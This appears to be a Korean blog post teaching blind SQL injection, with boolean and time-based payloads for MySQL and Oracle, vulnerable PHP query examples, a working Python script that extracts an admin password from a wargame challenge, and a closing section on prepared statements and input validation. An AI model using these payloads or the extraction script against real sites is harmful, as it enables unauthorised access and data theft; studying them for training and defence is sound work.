□ 사용자의 입력 값에 대한 검증이 미흡하여 발생하는 취약점으로 SQL문을 삽입해 동작 시킴으로써 인증을 우회하거나 데이터 베이스에 있는 중요한 정보들을 직접적으로 추출할 수 있다. 보통 개인정보나 파일 등의 민감한 데이터들이 보관되어있기 때문에 위험도가 높은 취약점으로 분류된다.
□ SQL injection의 분류로는 Union SQL Injection, Error based SQL Injection, Blind SQL Injection으로 크게 세가지로 나뉜다. SQL문의 결과가 화면에 안 나오는 경우는 로그인 페이지, 아이디 중복 체크 등이 있고 이 경우 Blind SQL Injection를 사용한다. SQL문의 결과가 화면에 나오는 경우는 검색, 게시 글 리스트, 게시 글 확인 기능으로 Union SQLI와 Blind SQLI를 사용할 수 있다.
이 중 Blind SQL Injection은 응답 값의 차이로 ‘참’, ‘거짓’이 구분되면 함수를 사용하여 데이터를 하나씩 추출할 수 있는 injection입니다. 보통 ‘ “, and, case when, substr 등 연산자를 사용한다.
□ SQL 주입은 일반적으로 WHERE절에서 발생할 수 있으며, 흔하게 발생하는 다른 위치로는 UPDATE안 update값, INSERT 안 insert값, SELECT 안의 테이블 혹은 컬럼 이름, ORDER BY 컬럼 등이 있다.
SHAPE \* MERGEFORMAT
SELECT 구조: SELECT [컬럼 이름] FROM 테이블 이름
WHERE ('조건 절') |
1) 응답 값에 따라 참과 거짓이 달라지는 경우
rep값에따라 참과 거짓을 구분할 수 있는 경우가 해당된다. 보통 응답 값의 길이가 달라지거나, 출력 화면이 다른 경우(참일 경우 정상 출력, 거짓일 경우 공백)가 일반적으로 사용되는 함수는 substr, length, 이 일반적이다.
□ length
일반적으로 데이터의 길이를 구하는 함수로, length(user)={} 의 형식으로 데이터의 길이를 구해 문자열을 0~{}값까지 잘라 구할 수 있다.
□ SUBSTR, SUBSTRING
문자열을 한 글자씩 추출해서 구하는 형식으로 Ascii값을 통해 문자를 숫자로 표현, 대소 비교를 해서 해당 값을 알 수 있다. Ascii값은 숫자 1-127내에 존재하고 한글 값의 경우 50000대에 존재하기 때문에 보통 Blind SQLI를 수행하는 경우 Python 자동화 코드를 사용하게 되는 계기가 된다. 또한 이진, 순차 탐색 등의 기법을 사용하지 않으면 서버에 무리가 올 수 있기 때문에 코드 구현이 필요하기도 하다.
Oracle > Substr(1,N): 1번 인덱스부터 N개의 문자열을 추출
MySQL > Substring(1,N): 1번 인덱스부터 N번째 인덱스까지 추출
해당 문자열이 필터링 될 시 ascii(substr (pw, {}, 1)) >> ord(mid(pw, {}, 1)) 등으로 우회 함수가 존재한다.
2) 시간 지연을 유발하여 블라인드 SQL injection 악용
Time based SQLI는 Heavy Query를 이용하여 쿼리 반환 시간 차이를 이용해 공격할 수 있는 기법이다. 의도적으로 sleep, waitfor, benchmark 등의 함수를 이용해서 의도한 경우에 시간이 지연되게 하는 것이다.
□ MySQL > Sleep(2): 참일 경우 2초 동안 지연
□ MySQL > Benchmark(2000,MD5(‘rootable’)): MD5(‘rootable’)을 2000번 실행
참 > select * from member where if(substr(pw,1,1)='t', benchmark(1000000,md5('t')),1);
Empty set (0.136 sec)
거짓 > select * from member where if(substr(pw,1,1)='a', benchmark(1000000,md5('t')),1);
2 rows in set (0.000 sec)
□ MySQL > select count(*) FROM information_schema.columns A, information_schema.columns B;
Heavy 쿼리를 통해 지연을 발생시킨다.
참 > select * from member where if(substr(pw,1,1)='t',(select count(*) FROM information_schema.columns A, information_schema.columns B),1);
거짓 > select * from member where if(substr(pw,1,1)='a',(select count(*) FROM information_schema.columns A, information_schema.columns B),1);
Oracle > SELECT * FROM member Where gender = 'f' AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1)); 아래에서 실습해보겠다.
□ 날짜 검색 기능
$sql4 = "SELECT * FROM board where $catgo like '%$param%' and date between '".$start_date."' and '".$end_date."'"
//날짜 기능 뒤에 바로 삽입
start_date =20190404& end_date =20190509+and+ascii(substring(pw, 1, 1)) > 1
□ like문 우회
//검색 기능
test1' and+ascii(substring(pw, 1, 1)) > 1
2. DB 별 문법
1) 기본 사용 예제
□ SELECT 문 사용 예제(PHP 개발 사이트 사용 구문)
// 로그인 SQL(식별, 인증 동시 한 줄 간단 구현) select
$sql1= "SELECT * FROM member WHERE id = '".$_POST['id']."' and pw = '".$_POST['pw']."'";
// id 중복 체크 select
$sql2= "SELECT * from member where id=$uid";
//댓글 불러오기 select
$sql3 = SELECT * from board where idx='".$bno."'";
//검색 기능 + select between
$sql4 = "SELECT * FROM board where $catgo like '%$param%' and date between '".$start_date."' and '".$end_date."'"
□ INSERT 문 사용 예제
// 글 작성 insert
$sql= "INSERT INTO iboard(name,pw,pnumber,title,content,date, lo_post, file) VALUES($name, $encrypted_pw ,$number, $title, $content, $date, $lo_post, $o_name)";
// 댓글 작성 insert
$sql2 = mq("INSERT into ireply(con_num,content) values('".$bno."','".$content."')");
□ UPDATE 문 사용 예제
// 글 수정 update
$sql1 = "UPDATE board set title=$title,content= $content where idx='".$bno."'";
// 개인 정보 수정 update
$sql2 = "UPDATE member set Id=$id, pw=$encrypted_pw, name=$name, adress=$adress, gender=$gender, email=$email where id='".$_SESSION['user_id']."'";
□ DELETE 문 사용 예제
//게시 글 삭제 delete
$sql = mq("delete from board where idx='$bno';");
□ 부울 기반, 조건부 구문
(Oracle chapter에서 실습)
MySQL >
CASE: SELECT CASE WHEN 1=1 THEN true ELSE false END;
IF(): SELECT IF(1=1, true, false);
IFNULL(): SELECT IFNULL (price, 0) from goods //Price가 NULL이 아니면 0 반환
NULLIF(): SELECT NULLIF(price, 0) from goods;
IN(): SELECT price IN(1000, 2000, 3000) from goods;
1/0: SELECT 1/0 FROM dual (SELECT username FROM all_users WHERE username=’admin’) = “admin’
□ 데이터 베이스 구조 함수
□ 부울 기반, 문자열 잘라서 구하기
ID, PW를 동시에 구하는 경우 다음과 같은 예시가 있다.
참일 경우 Hello admin이라는 구문이 출력되고 거짓일 경우 출력되지 않는 LOS(los.rubiya) 문제 중 하나이다.
해당 문제를 풀기 위해 직접 구현한 파이썬 자동화 코드는 다음과 같다.
import requests
url = https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php
//URL값 입력
cookie = {'PHPSESSID': '5ft34ffkomjs1smkd84kc0a04j'}
//쿠키 값 입력
def find_length(): //길이를 구할 함수를 선언
pwlength = 1
while True:
param = {"pw": "' or id = 'admin' and length(pw) = {} # ".format(pwlength)}
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1 //참이 나올 때까지 1부터 N까지 숫자를 +=한다.
def find_pw(): //비밀번호를 구할 함수 선언
length = find_length()
password = ""
for i in range(length):
s= 1
e= 127
value = 64
while True:
param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} # ".format(i+1, value)} //[]번째 자리 수 하나의 값을 ascii코드로 구함. I는 1부터 ++, 초기 value는 64.
print(param)
req=requests.get(url,params=param,cookies=cookie)
if "Hello admin" in req.text:
password += chr(value)
break // ‘=’이 hello admin 참일 시 다음 자릿수로 넘어감
else:
param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} # ".format(i+1, value)} //아닐 시 대소 비교를 통해 =값을 계속 구함. 현재는 {}값이 >로 구현. 참일 시가 ++됨.
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
s=value
value = (value+e) //2 //참이면 값의 1/2만큼 더 늘어남
else:
e=value
value = (s+value) //2 //거짓이면 값의 1/2만큼 더 줄어듦.
print("비밀번호는: ", password)
find_pw()
코드를 보면 길이를 구한 후,
{} 파라미터안에 1부터 n번째까지 차례로 한글자씩 값을 추출한다.
if문이 참으로 나올 경우(해당 값의 비밀번호가 일치할 경우) 출력한 후 ++1 다음 차례로 넘어가고
거짓으로 나올 경우 대소 비교를 통해 이진 탐색을 계속 진행한다.
S=1
E=127
중간 값, value=64
TIME Based SQL Injection으로 풀어야하는LOS(los.rubiya) 문제로 실습해보겠다.
Order를 파라미터로 받고 있고, 컬럼 수가 3개이기 때문에 4이상의 값을 입력하면 오류가 난다.
order=if(id='admin' and length(email)>N,sleep(1),1) 을 주입해 실습해보겠다. if문이 참일 시 sleep()함수를 실행시키고 거짓일 시 1을 반환한다.
참> order=if(id='admin' and length(email)>20,sleep(1),1)값일 때 이 함수는 참이 되어 1100 값을 나타내는 것을 볼 수 있다.
거짓> order=if(id='admin' and length(email)>30,sleep(1),1) 반면 30의 값에서는 이 함수가 거짓이 되어 100의 값을 나타낸다.
여기서 우리는 length(email)이 20~30에 머물러 있다는 것을 알 수 있게 되었고 범위를 좁힌 결과 order=if(id='admin' and length(email)>27,sleep(1),1)에서 값이 마지막으로 참이 되는 것을 알 수 있었다. 이메일이 28자리라는 정보를 습득했다.
4) 필터링 우회 법
Injection시 숫자가 전부 막혀 있거나 수학 함수가 필터링 되어있을 경우 show variables; 명령어로 확인할 수 있는 환경 변수를 활용할 수 있다.
필요한 문자나 숫자를 아래와 같이 뽑아낼 수 있다.
1) 기본 사용 예제
□ Oracle live SQL로 실습
//create table
create table member (
id varchar(20) primary key,
password varchar(20) not null,
passwordcheck varchar(20) not null,
name varchar(5) not null,
gender varchar(1),
email varchar(20),
phone varchar(20) not null,
age int check (age>=19) );
//insert
insert into member (id, password, passwordcheck, name, gender, phone, age) values
('test','test','success','mjkim','f','01011111111', '20');
//UPDATE문 입력 후 수행
UPDATE member SET password='test2' Where id='test';
//DELECT문 입력 후 수행
delete from member
where id = 'test3';
□ Dual 테이블
오라클 자체에서 제공되는 가상의 테이블로 실제 테이블 없이 가상의 데이터를 생성할 수 있다. MySQL이나 MS-SQL은 SELECT문만 사용해서 쿼리를 실행할 수 있지만 오라클은 이 기능을 제공하지 않기 때문에 FROM절에 사용 가능한 DUMMY 테이블을 제공하고 있다.
활용 1 > dual이란 가상 테이블에 여러 개의 컬럼의 데이터를 만들 수 있다.
활용 2 > 기존 쿼리 결과에 데이터를 붙일 수 있다.
□ ROWNUM(순번)
데이터를 추출할 때 순번을 매겨서 추출하는데 Oracle에선 ROWNIM를 사용하여 가상의 열을 생성, 순번을 매긴다. ORACLE > ROWNUM
//RNUM이란 별칭을 통해 가상 열 만든다.
//ORDER BY 절과 같은 위치에 두지 말 것. ORDER BY로 데이터 정렬이 되기 전에 ROWNUM이 매겨진다.
MSSQL > SELECT TOP 숫자
SELECT TOP 1 FROM sysobjects WHERE [조건식];
MySQL > Limit
SELECT column name FROM information_schema.columns WHERE [조건식] limit = 0,1;
□ 조건 문
참 > Select CASE WHEN ('a'='b') THEN 1 ELSE 2 END FROM dual
거짓 >Select CASE WHEN ('a'='b') THEN 1 ELSE 2 END FROM dual
예시> ASCII(SUBSTR(SELECT table_name FROM (SELECT ROWNUM AS RNUM, table_name FROM user_tables) WHERE RNUM=1),1,1)0) < 130
- order by숫자를 처리하는 쿼리문 CASE WHEN 사용 가능.
- sorting 등에서도 가능
- page=1등으로 숫자로 페이징
파라미터가 있어 입력할 수 있으면 SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual
□ 데이터 베이스 구조 함수
참 > Select password from member where gender='f' and ascii(substr((select password from dual),1,1))>1
거짓 > Select password from member where gender='f' and ascii(substr((select password from dual),1,1))<1
□ 오라클 데이터 베이스 엔진을 사용해 스키마에서 all_users를 조회하는 시간 지연을 발생시킨다. 이 경우 첫 번째 쿼리의 정보를 추출하게 된다. 아래 함수의 경우 따로 지연 시간을 정해줄 순 없다.
참 > SELECT * FROM member Where gender = 'f' AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));
거짓 > SELECT * FROM member Where gender = 'f' AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 1 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));
□ 지연 시간을 정해줄 수 있는 대표적인 함수는 다음과 같다. dbms_pipe.receive_message(('a'),10)
**NVL=IFNULL
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
4. 대응 방안
3-1 SQL 주입 방지
1. 준비된 명령문 사용(매개 변수화 된 쿼리 포함)
□ 이는 개발자가 먼저 모든 SQL 코드를 정의한 후 나중에 각 매개변수를 쿼리에 전달하도록 하는 방법으로서 제공된 사용자의 입력에 관계없이 코드와 데이터를 구분 가능하다. 공격자가 아이디에 tom' or '1'='1를 입력하더라도 id= ‘ [tom' or '1'='1] ‘ 문자 그대로 전체 문자열과 일치하는 사용자 이름을 찾는다.
** Order by 정렬 기능은 적용될 수 없음
SHAPE \* MERGEFORMAT
|
PHP 예시 login_ok.php 부분
$stmt = $db->stmt_init();
$password=$_POST['pw'];
$sql= "SELECT * FROM member WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('s', $_POST['id']);
$stmt-> execute();
$member = $stmt->get_result();
$row = $member->fetch_assoc();
if(password_verify($password, $row['pw']))
{
2. 허용 목록 입력 유효성 검사
□ 입력 유효성 검사는 매개 변수를 사용하는 경우에도 모든 경우에 2차 방어 수단으로 권장된다. 매개변수 값을 예상 테이블 또는 열 이름에 매핑하여 검증되지 않은 사용자 입력을 제한한다. 유효성 검사의 방법으로는 두가지가 있다.
1) 블랙 리스트 방식
□ SQL 쿼리의 구조를 변경시키는 문자나 키워드 , 특수문자 제한한다. 공격에 중점으로 사용되는 UNION, GROUP BY, COUNT(), ; , -- 등의 특수문자들을 블랙리스트로 정의하고 해당 특수 문자들이 외부 입력 값 안에 들어오면 공백으로 치환하는 등의 방식이다.
2) 화이트 리스트 방식
□ 허용된 문자를 제외하고는 허용하지 않는 방식으로 보안성이 더 뛰어난 방법. 정규 식 등을 이용해 화이트 리스트를 범주화/ 패턴화 시키는 편이 좋다.
//if 문으로 아예 화이트리스트 기반 필터링
if($catgo = "title" or "name" or "content")
3. 모든 사용자 제공 입력 이스케이프
□ 이스케이프(escape) 시퀀스는 이스케이프 문자 백슬래시(/) 다음에 영 숫자 또는 특수 문자가 올 수 있는 문자로 시작된다. 영 숫자 문자인 경우 줄 바꿈 \n , 캐리지 리턴 \r등을 나타내는 특별한 의미를 부여한다.
SHAPE \* MERGEFORMAT
|
□ 이 기술은 위의 어느 것도 실현 가능하지 않을 때 사용된다. 쿼리에 입력하기 전의 사용자 입력을 이스케이프 하는 것으로 DBMS는 해당 입력을 개발자가 작성한 SQL 코드와 혼동하지 않으므로 가능한 SQL 주입 취약점을 피할 수 있다.
5. 참조 사이트
https://portswigger.net/web-security/sql-injection/cheat-sheet - Portswigger
https://qkqhxla1.tistory.com/27?category=557086 mysql 실습 블로그 참고
https://defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
'Web hacking > 개념 정리 & 심화' 카테고리의 다른 글
[웹 취약점]Openssl 취약한 HTTPS 프로토콜 사용 항목 조회 (0) | 2022.06.02 |
---|---|
[WEB]Blind SQL Injection 심화 정리 (0) | 2022.05.30 |
[암호화] AES 암호화 알고리즘 (0) | 2022.05.10 |
[-] Daily - Host에 ..값 삽입, base64 값 변조 등 (0) | 2022.04.13 |
[#5] webdav, heartbleed 취약점 (0) | 2022.03.04 |